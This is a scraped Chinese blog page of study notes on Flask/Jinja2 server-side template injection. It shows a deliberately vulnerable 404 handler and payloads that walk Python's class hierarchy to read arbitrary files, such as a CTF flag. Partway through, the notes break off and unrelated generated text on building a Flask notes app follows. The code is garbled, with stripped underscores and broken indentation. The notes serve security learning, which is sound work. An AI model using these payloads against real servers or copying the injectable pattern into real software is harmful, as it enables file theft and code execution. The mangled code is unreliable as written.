python flask ssti学习笔记

python flask ssti学习笔记
学ssti就像是对python原理的一层深入探索,入口很简单,就是用户输入未经过滤便被服务器模板渲染,将其当作变量解析替换,从而达到读取文件或者执行命令等目的

简单示范
漏洞代码:

#!/usr/bin/env python

-- coding:utf8 --

import hashlib
import logging
import urllib.parse#python2没有parse,去掉就好
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string

app = Flask(name)
app.config.secret_key = “2333”
page_size = 60

@app.route(’/’)
def hello_world():
return ‘Hello World!’

@app.errorhandler(404)
def page_not_found(e):
template = ‘’’
{%% block body %%}

Oops! That page doesn't exist.

%s

{%% endblock %%} ''' % (urllib.parse.unquote(request.url))#python2没有parse,去掉就好 return render_template_string(template), 404

if name == ‘main’:
app.run()
以上代码存在ssti漏洞点在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{ {}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{ {}}包裹的内容当做变量解析替换。

简单验证
image-20200202201526733

服务器将{ {}}的内容直接执行后返回了结果

image-20200202201646169

直接返回出配置变量值,存在敏感信息

入门操作
爆全局变量
{ {self.dict}}
任意文件读取
ctf题目中大多数是需要读取flag或者读取其他源码的

接下来利用一些骚操作读取文件吧

python中,不用引入直接使用的内置函数称为 builtin 函数,例如我们通常用的open,chr,ord等等

builtin.open()
builtin.int()
builtin.chr()
image-20200217204039400

#python一切皆对象,__class__方法可以获取当前对象(实例)的类

“”.class
<class ‘str’>

#class.mro 获取当前类对象的所有继承类(object类是python中最顶层的类。)

“”.class.mro
(<class ‘str’>, <class ‘object’>)

#object.subclasses() 返回object的子类,不加括号的话返回的是地址

“”.class.mro[-1].subclasses()
[<class ‘type’>, <class ‘weakref’>, <class ‘weakcallableproxy’>, <class ‘weakproxy’>, <class ‘int’>, <class ‘bytearray’>, <class ‘bytes’>, <class ‘list’>, <class ‘NoneType’>,…,]
利用关键字寻找与读文件有关的类

Python2

image-20200202205202185

for i in ‘’.class.mro[-1].subclasses():
count += 1
if ‘file’ in repr(i):
print count, i
//40 <type ‘file’>
这不是我们很熟悉的file吗,直接用就好了

{ {’’.class.mro[-1].subclasses()40.read()}}
image-20200202205714666

或者让我们更加深入一点

#__init__初始化类

‘’.class.mro[-1].init
<slot wrapper ‘init’ of ‘object’ objects>

#因为object类下面没有我们需要的东西,我们只能去它的子类找
#在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的
count = -1
for i in ().

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要基于PythonFlask建立一个学习笔记系统,你可以按照以下步骤进行: 1. 安装PythonFlask:首先,确保你的计算机上安装了Python。然后,使用pip命令安装Flask框架。在命令行中执行以下命令: ``` pip install Flask ``` 2. 创建Flask应用:在你选择的目录下创建一个新的文件夹,用于存放你的应用程序。进入该文件夹,并创建一个名为app.py的Python脚本文件。 3. 导入依赖:在app.py文件中,导入必要的模块和库: ```python from flask import Flask, render_template, request ``` 4. 初始化Flask应用:在app.py文件中,初始化Flask应用: ```python app = Flask(__name__) ``` 5. 创建路由和视图函数:根据你的学习笔记系统的需求,创建不同的路由和对应的视图函数。例如,你可以创建一个用于显示学习笔记列表的路由: ```python @app.route('/notes') def notes(): # 在这里编写代码来获取学习笔记列表,并将其传递给模板 return render_template('notes.html', notes=notes_list) ``` 6. 创建模板:在你的应用程序文件夹中创建一个名为templates的文件夹,并在其中创建一个名为notes.html的模板文件。在模板文件中,你可以使用Flask提供的模板语法来显示学习笔记列表: ```html <h1>学习笔记列表</h1> <ul> {% for note in notes %} <li>{{ note }}</li> {% endfor %} </ul> ``` 7. 运行应用:在命令行中,使用以下命令运行你的应用: ``` python app.py ``` 现在,你的基于PythonFlask学习笔记系统就可以运行了。你可以根据需要添加更多的路由和视图函数,以及其他功能如添加、编辑和删除学习笔记等。同时,你可以探索Flask的文档和教程,以深入了解如何构建更复杂的应用程序。祝你成功!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值